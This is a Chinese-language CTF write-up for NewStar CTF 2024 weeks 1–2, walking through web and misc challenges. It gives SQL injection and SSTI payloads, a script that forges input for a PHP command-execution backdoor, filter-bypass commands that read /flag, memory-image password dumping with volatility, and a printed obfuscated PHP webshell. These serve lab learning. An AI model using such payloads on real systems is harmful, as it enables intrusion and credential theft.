NewStar CTF 2024 Week1,Week2部分

WP部分学习官方解题思路,这次比赛还是收获满满呀

web方向:

headach3

抓包拿到flag

 

会赢吗

第一关:

查看源码看到flag第一部分和目录

第二关:

查看js文件

revealflag方法传入了一个className参数

<script>
    async function revealFlag(className) {
        try {
            const response = await fetch(`/api/flag/${className}`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                }
            });
            if (response.ok) {
                const data = await response.json();
                console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
            } else {
                console.error('请求失败,请检查输入或服务器响应。');
            }
        } catch (error) {
            console.error('请求过程中出现错误:', error);
        }
    }

    // 控制台提示
    console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
</script>

console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

根据提示尝试传入参数4cqu1siti0n

第三关:

查看源码

<script>
    document.addEventListener('DOMContentLoaded', function () {
        const form = document.getElementById('seal_him');
        const stateElement = document.getElementById('state');
        const messageElement = document.getElementById('message');

        form.addEventListener('submit', async function (event) {
            event.preventDefault();


            if (stateElement.textContent.trim() !== '解封') { 
                messageElement.textContent = '如何是好?';
                return;
            }

            try {
                const response = await fetch('/api/flag/s34l', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
                });

                if (response.ok) {
                    const data = await response.json();
                    messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
                } else {
                    messageElement.textContent = '请求失败,请重试。';
                }
            } catch (error) {
                messageElement.textContent = '请求过程中出现错误,请重试。';
            }
        });
    });
</script>

修改前端为解封即可

第四关:

<body>
    <div class="overlay"></div>
    <div class="content">
        <h1>会赢吗?</h1>
        <h2>现代最强的归来,五条悟的复活宣言!</h2>
        <p>绝对的强者,由此而生的孤独,教会你爱的是....</p>
        <form id="winForm" action="/api/flag/Ap3x" method="post">
            <input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
            <button type="submit">会赢的!</button>
        </form>
        <noscript>
            <form class="s" action="/api/flag/Ap3x" method="post">
                <input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
                <button type="submit">无量空处!!</button>
            </form>
        </noscript>
        
        <p id="message"></p>
        </div>
        <script>
            document.querySelector('form').addEventListener('submit', function (event) {
                    event.preventDefault();
                    alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
                });

                (function () {
                    const originalConsoleLog = console.log;
                    console.log = function () {
                        originalConsoleLog.apply(console, arguments);
                        alert("你觉得你能这么简单地获取到线索?");
                    };
                })();
        </script>
</body>

看到<noscript>,用Disable JavaScript插件禁用javascript,点击按钮,拿到最后一段flag

智械危机

根据提示

我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢

访问robots.txt

拿到源码:

 <?php

function execute_cmd($cmd) {
    system($cmd);
}

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
        $reversed_cmd .= $cmd[$i];
    }
    $hashed_reversed_cmd = md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }
    $decrypted_cmd = base64_decode($cmd);
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
    highlight_file(__FILE__);
}
?> 

首先post请求传入参数cmd key:

if (isset($_POST['cmd']) && isset($_POST['key'])) {     execute_cmd(decrypt_request($_POST['cmd'],$_POST['key'])); }

调用execute_cmd和decrypt_request函数

先看decrypt_request函数

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
        $reversed_cmd .= $cmd[$i];
    }
    $hashed_reversed_cmd = md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }
    $decrypted_cmd = base64_decode($cmd);
    return $decrypted_cmd;
}

首先对key参数base64解码

$decoded_key = base64_decode($key);

之后将传入的cmd参数反转并存入变量reversed_cmd中,

for ($i = strlen($cmd) - 1; $i >= 0; $i--) {

$reversed_cmd .= $cmd[$i];

}

对reversed_cmd变量md5加密,

$hashed_reversed_cmd = md5($reversed_cmd);

之后如果$hashed_reversed_cmd == $decoded_key ,对cmd参数base64解码并返回。

总结来说:

key参数base64解码后 == cmd参数反转后md5加密。

cmd参数base64解码后的结果是我们要命令执行的内容

脚本如下(其实还可以优化一下,就这样吧[报错.jpg]):

import base64
import hashlib
cmd_base64decode = 'ls /'
cmd = cmd_base64decode.encode('utf-8')
cmd = base64.b64encode(cmd)

cmd_reverse = cmd[::-1]
cmd_reverse = cmd_reverse.decode('utf-8')
md5_obj = hashlib.md5()
md5_obj.update(cmd_reverse.encode('utf-8')) 
md5_cmd = md5_obj.hexdigest()
md5_cmd = md5_cmd.encode('utf-8')
key = base64.b64encode(md5_cmd)
cmd =cmd.decode('utf-8')
key = key.decode('utf-8')
print(f"cmd={cmd}&key={key}")

 

执行system('ls');

传入参数

cmd=bHM=&key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=

执行system('cat /flag');

cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

谢谢皮蛋

数字型联合注入

判断注入类型:
1 and 1=1 页面正常  1 and 1=2 页面不正常 判断为数字型注入
判断列名数量
1 order by 2
判断回显点
-1 union select 1,2
爆库
-1 union select 1,database()
爆表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'
爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'
爆flag
-1 union select 1,(select group_concat(des,value))from Fl4g

你能在一秒内打出八句英文吗

(用BP抓包不知道为什么整不出来,哭死)

学习官方解题思路:

import requests
from bs4 import BeautifulSoup

session = requests.Session() #保持会话

url = "http://127.0.0.1/start"
response = session.get(url)  #使用之前创建的session对象发送一个GET请求到指定的URL

if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')  #使用BeautifulSoup解析响应的文本内容
    text_element = soup.find('p', id='text')   #在解析后的HTML文档中查找第一个<p>标签,其id属性为text
    if text_element:  #如果找到第一个<p>标签,其id属性为text
        value = text_element.get_text()
        print(f"{value}")   #从找到的<p>标签中提取文本内容并打印。
        submit_url = "http://127.0.0.1/submit"
        payload = {'user_input': value}
        post_response = session.post(submit_url, data=payload)  #使用之前创建的session对象发送一个POST请求到指定的URL,并附带数据。
        print(post_response.text)  #打印POST请求的响应内容
else:
    print(f"{response.status_code}")

谢谢皮蛋 plus

1"&&/**/1=1# 1"&&/**/1=2#

测试后可以发现是字符型双引号注入,还是可以通过联合查询

但发现过滤了一些参数,空格和and

a = input('a=')
a = a.replace(" ","/**/")
a = a.replace("and","&&")
print(a)

爆flag语句:

-1"//union//select//1,(select//group_concat(des,value))from/**/Fl4g#

遗失的拉链

打开页面没有信息,目录扫描发现www.zip

看到源码:

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 为啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    } 
}

sha1和md5强比较,数组绕过即可

过滤了cat和flag

使用\ 和* 绕过即可

system('ca\t /f*');

PangBai 过家家(1)

 

根据提示,查看请求头和响应头

  • 访问路径,进入第二关

提示:向 PangBai 询问(Query)一下(ask=miao)吧 ~

Query是传递请求参数的方式,在url中加上?ask=miao即可

  • 进入第三关

提示:用另一种方法(Method)打声招呼(say=hello)吧 ~

这里我们直接post请求:say=hello即可

  • 进入第四关

这里我点进去

你需要使用正确的方法(Method)来与 PangBai 沟通。

我重新post请求,就获得新的提示了

PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!

根据提示,判断出我们要构造User-Agent

但是我构造User-Agent : Papa没有成功

题目要求必须按照标准格式填写,因此需携带任意版本号发送一个 POST 请求:

User-Agent: Papa/1.0

你的话语似乎没有对 PangBai 起效,试着说「玛卡巴卡阿卡哇卡米卡玛卡呣」。

修改:say=玛卡巴卡阿卡哇卡米卡玛卡呣

  • 第五关(我这一步操作有问题,没成功):

这里便是 PangBai 的心境了呢!试着解开心结吧 ~

或许可以尝试用修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")试试。

没思路,学习一下官方的解题方法:

PATCH 方法

浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168

--abc
Content-Disposition: form-data; name="file"; filename="1.zip"

123
--abc
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

返回值为新的cookie

通过浏览器开发者工具的「存储」(应用程序 » 存储)选项卡编辑 Cookie,将 Set-Cookie 字段的 token 值应用更新。随后再次携带新 Cookie 刷新网页即可。

  • 第六关提示localhost

设置Referer: http://localhost

新提示:

PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。

你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。

「像■■■■验体■■不可能■■■■ JWT 这种■■ Pe2K7kxo8NMIkaeN ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」

「......」

这里学习新知识点:JWT

JWT 是一个轻量级的认证规范,允许在用户和服务器之间传递安全可靠的信息。

Pe2K7kxo8NMIkaeN为签名密钥

(JWT 并不对数据进行加密,而仅仅是签名,不同的数据对应的签名不一样,因此在没有密钥的情况下,你可以查看里面的数据,但修改它则会导致服务器验签失败,从而拒绝你的进一步请求)

PangBai 过家家(2)

任务 1:清点泄露的文件,找到后门

这里提示目录泄露,尝试访问.git,没有看到信息

(经过这道题,GitHack还是在Linux环境用吧………………)

用githacker拿到泄露文件

githacker --url 'http://eci-2ze8beum9socd73cpxm9.cloudeci1.ichunqiu.com/.git/' --output-folder aaa

git stash list 发现后门

尝试恢复

git stash pop

访问文件,进入第二关

目标任务:从后门出去

查看后门文件源码

<?php

# Functions to handle HTML output

function print_msg($msg) {
    $content = file_get_contents('index.html');
    $content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
    $content = preg_replace('/ event/', '', $content);
    $content = str_replace('点击此处载入存档', $msg, $content);
    echo $content;
}

function show_backdoor() {
    $content = file_get_contents('index.html');
    $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
    echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
    show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
    print_msg('PangBai loves you!');
    call_user_func($_POST['func'], $_POST['args']);
} else {
    print_msg('PangBai hates you!');
}

首先是POST传参papa=TfflxoU0ry7c

之后GET传入NewStar_CTF.2024不等于Welcome,但后面的正则又完全匹配

这里我们可以使用换行符%0a绕过正则匹配preg_match

使用 '[' 绕过NewStar_CTF.2024的 '_'

最后我们可以通过call_user_func构造命令执行

func=system&args=ls /

但是没有看到flag

查看环境变量,找到flag

func=system&args=env

 

复读机

这里发现是SSTI漏洞

尝试找一下os索引,但是发现回显:

bot的回答是bot讨厌上课

可能有过滤。

这里发现过滤了class关键字

可以通过关键字拼接绕过

{{''['cl'+'ass'].bases[0]'subcl'+'asses'}}

粘贴到记事本中,ctrl+f找到os

删去该os及其后所有类

复制,粘贴到vscode中

ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是131

但是后面使用

{{''['cl'+'ass'].bases[0]'subcl'+'asses'[131]}}报错了

直接进行文件读取就拿到flag了

{{x.init.globals['builtins'].open('/flag', 'r').read()}}

用fenjing跑,可以绕过waf,但是没跑出来

MISC方向:

decompress

点到里面,找到一个分卷压缩包和一个txt

这里是密码提示:首先是3个连续的小写字母,之后是一个数字,最后面是一个小写字母

(爆破是件很头疼的事情啊,我用ziperello或者ARCHPR好像实现不了)

根据官方提示,找到一个passware的爆破软件,尝试爆破

直接爆破出密码

分卷压缩包,选择第一个分卷解压即可。拿到flag

pleasingMusic

我纯靠听,听了半天,最后发现结果错的………

感觉歌词不对劲,把摩斯密码倒过来就拿到flag了

WhereIsFlag

在根目录下看到proc目录,看一下他的进程,但是看不了

/proc/1/environ

最后在/proc/self/environ文件中找到flag

Labyrinth

提示LSB

使用zsteg看了一下,没什么有用的信息

使用stegsolve查看信道发现二维码,拿到flag

兑换码

提示:领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。

提示png图片的下面,想到png的宽高被修改,CRC爆破一下,拿到flag

wireshark_checkin

很简单的流量包分析题

搜索flag,发现flag.txt

导出http对象即可拿到flag

wireshark_secret

根据提示:un偷看涩图,被抓到流量了

我们要拿到的应该是一个图片

搜索png,发现secret.png

导出http对象,拿到flag

热心助人的小明同学

提示:小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的,现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

这道题是一道镜像恢复题

要求:flag{你找到的系统登录密码}

这里需要用到一款工具:volatility

查看系统基本信息:

python2 vol.py -f image.raw imageinfo

这里注意到profile:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86

查看用户名账号密码信息:

python2 vol.py -f image.raw --profile=Win7SP0x86 hashdump

但是这里密码是加密的,我没有爆破出来(哭死.jpg)

看官方文档,拿 lsadump梭哈

python2 vol.py -f image.raw --profile=Win7SP0x86 lsadump

拿到flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

用溯流仪见证伏特台风

flag的位置

这里我们可以看到The Rise of Dark Power

 google搜索到这篇文章

下载下来移开图片拿到flag

跟着WP的思路

学到了新的工具,网站时光机:Wayback Machine

也能下载当时的文章

你也玩原神吗

用stegsolve的gif分离,拿到密文

在米哈游找到瓦特文字…………出题人无敌

对照解密就行

左下角文字解密后是 doyouknowfence,提示是「栅栏密码」

右下角文字就是密文

字里行间的秘密

0宽度隐写

在线网站解密:

 

docx文件隐写,改变字体颜色,拿到flag

Herta's Study

搜索flag字符,发现flag.txt,导出HTTP对象

拿到upload.php

<?php

    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
        base64_decode('J'.str_rot13('T').'5z'),   
        base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
        Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
        gICAgfQ0KfQ0KcmV0dXJuICRuczs==')   
    );  
    echo $bbb($payload);

?>

先将'CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m' rot13解码,再把字符串进行base64解码

$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
    if($i%2==1){
        $ns[$i]=str_rot13($ns[$i]);
    }
}
return $ns;

这是一个加密函数

将flag进行base64加密,然后奇数位进行rot13加密

我们将导出http对象拿到的flag文本文件解密就行,(f.txt是真的flag)

'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt=='

这里就参考官方的脚本了,当然手搓解码也是可以的:

<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){
    if ($i % 2 == 1) {
        $ns[$i] = str_rot13($ns[$i]);
    }
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/897343.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

8.three.js相机详解

8.three.js相机详解 1、 认识相机 在Threejs中相机的表示是THREE.Camera&#xff0c;它是相机的抽象基类&#xff0c;其子类有两种相机&#xff0c;分别是正投影相机THREE.OrthographicCamera和透视投影相机THREE.PerspectiveCamera&#xff1a; 正投影和透视投影的区别是&am…

燕山大学23级经济管理学院 10.18 C语言作业

燕山大学23级经济管理学院 10.18 C语言作业 文章目录 燕山大学23级经济管理学院 10.18 C语言作业1C语言的基本数据类型主要包括以下几种&#xff1a;为什么设计数据类型&#xff1f;数据类型与知识体系的对应使用数据类型时需要考虑的因素 21. 逻辑运算符2. 真值表3. 硬件实现4…

最大公约数(公式法)

求多个数的最大公约数 采用连续求gcd的方式 题目 ACCODE #include<bits/stdc.h> using namespace std; long long num[4]; int main(){cin>>num[1]>>num[2]>>num[3];sort(num1,num4);// cout<<num[1]<<" "<<num[2]<&…

尚硅谷spark学习

p4 快速上手 -开发环境准备

Java多线程新手指南:从零开始学习多线程创建,有两下子!

咦咦咦&#xff0c;各位小可爱&#xff0c;我是你们的好伙伴 bug菌&#xff0c;今天又来给大家手把手教学Java SE系列知识点啦&#xff0c;赶紧出来哇&#xff0c;别躲起来啊&#xff0c;听我讲干货记得点点赞&#xff0c;赞多了我就更有动力讲得更欢哦&#xff01;所以呀&…

代码审计-Python Flask

1.Jinjia2模版注入 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug &#xff0c;模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统&#xff0c;起初是仿django模板的一个模板引擎&#xff0c;为Flask提供模板支持&#xff0c;由于…

KASan部署、使用与原理分析

文章目录 前言1、概述2、使用方法3、测试用例3.1、检测加载的内核模块3.2、检测调用的内核模块3.3、通过系统调用检测3.4、检测编译到Linux内核中的内核模块 4、工作原理4.1、影子内存&#xff08;Shadow Memory&#xff09;4.2、内存状态&#xff08;Memory States&#xff09…

海南聚广众达电子商务咨询有限公司靠谱吗怎么样?

在当今这个数字化浪潮席卷全球的时代&#xff0c;抖音电商以其独特的魅力成为了众多商家争相入驻的新蓝海。而在这片浩瀚的电商海洋中&#xff0c;如何找到一家既专业又可靠的合作伙伴&#xff0c;成为了众多商家心中的一大难题。今天&#xff0c;我们就来深入剖析一下海南聚广…

爬虫日常实战

爬取美团新闻信息&#xff0c;此处采用两种方法实现&#xff1a; 注意点&#xff1a;因为此处的数据都是动态数据&#xff0c;所以一定要考虑好向下滑动数据包会更新的情况&#xff0c;不然就只能读取当前页即第一页数据&#xff0c;方法一通过更新ajax数据包网址页数&#xf…

转变软件交付方式:通过统一 API 和测试策略提高质量和速度

API 在当今的数字化转型中至关重要&#xff0c;但无缝交付也同样重要。然而&#xff0c;许多组织仍然分散其 API 开发和 UI 测试流程&#xff0c;导致问题检测延迟、发布时间延长&#xff0c;甚至遗漏错误。在快节奏的环境中&#xff0c;这种方法是不可持续的&#xff0c;因为上…

Java调用上传文件接口

以 QAnthing 上传文件&#xff08;POST&#xff09;接口为例&#xff0c;展示Java如何调用上传文件接口。 接口文档如下&#xff1a; QAnthign接口文档地址 上代码&#xff1a; RestTemplate 版 /** * * param url 接口地址 * param filePath 文件本地路径 */ public vo…

【C++】踏上C++学习之旅(三):“我“ 与 “引用“ 的浪漫邂逅

文章目录 前言1. "引用"的概念1.1 "引用"的语法 2. "引用"的特性3. "引用"的使用场景3.1 "引用"做参数3. 2 "引用"做返回值3.2.1 "引用"做返回值时需要注意的点 4. 常引用5. "引用"在底层的实…

【设计模式系列】命令模式

目录 一、什么是命令模式 二、命令模式的角色 三、命令模式的典型应用场景 四、命令模式在Runnable中的应用 一、什么是命令模式 命令模式&#xff08;Command Pattern&#xff09;是一种行为设计模式&#xff0c;它将一个请求或简单操作封装为一个对象。这个模式提供了一种…

在使用new Date()生成时间戳时,发现数据库中 的时间总是多出一秒钟。

项目汇报的时候&#xff0c;进一步研究问题 insert into t_tax_file(task_id, task_no, business_type, file_name, file_url, creator_id, created_time, modifier_id,modified_time)value (10, taskNo测试, 1, 文件名称, 文件地址, 1, 2024-10-21 10:25:21.889, 1, 2024-10-…

CCF-BDCI大数据与计算智能大赛TOP4-京东生鲜

2023 CCF 大数据与计算智能大赛《线上线下全场景生鲜超市库存履约一体化决策》top4南山论剑 摘要1 数据预处理1.1 数据整合1.2 数据划分 2 特征工程2.1 静态特征2.2 动态特征 3 方案设计3.1 数据构造3.2 模型训练3.3 模型融合3.4库存分配3.5 方案对比 链接: CCFBDCI-线上线下全…

对BSV区块链下一代节点Teranode的答疑解惑(上篇)

​​发表时间&#xff1a;2024年8月7日 2024年初BSV区块链研发团队揭晓了即将到来的Teranode更新的突破性特性&#xff0c;这些特性将显著提升网络的效率和处理速度&#xff0c;使BSV区块链能够达到百万级TPS。 Teranode的项目主管Siggi Oskarsson强调&#xff1a;“当你阅读这…

uniapp项目结构基本了解

基本结构的解释 App.vue&#xff1a;应用的根组件&#xff0c;定义全局布局和逻辑。pages/&#xff1a;存放各个页面的 .vue 文件&#xff0c;定义应用的具体页面和功能模块。main.js&#xff1a;应用入口文件&#xff0c;初始化应用&#xff0c;挂载 App.vue。manifest.json&…

[Linux进程概念]命令行参数|环境变量

目录 一、命令行参数 1.什么是命令行参数 2.为什么要有命令行参数 &#xff08;1&#xff09;书写的代码段 &#xff08;2&#xff09;实际的代码段 3.Linux中的命令行参数 二、环境变量 1.什么是环境变量&#xff1f; 2.获取环境变量 &#xff08;1&#xff09;指令…

基于Multisim电子配料秤电路设计(含仿真和报告)

【全套资料.zip】电子配料秤电路设计Multisim仿真设计数字电子技术 文章目录 功能一、Multisim仿真源文件二、原理文档报告资料下载【Multisim仿真报告讲解视频.zip】 功能 电子配料秤仿真功能: 准确测量物体重量&#xff0c;精确度0.1Kg使用两位数码管显示重量信息 使用拨码…

深度学习 基本函数01

np.dot 是 NumPy 库中的一个函数&#xff0c;用于计算两个数组的点积&#xff08;也称为内积或数量积&#xff09;。点积是两个向量的对应元素乘积之和。 np.random.normal 是 NumPy 库中的一个函数&#xff0c;用于生成符合正态分布&#xff08;也称为高斯分布&#xff09;的…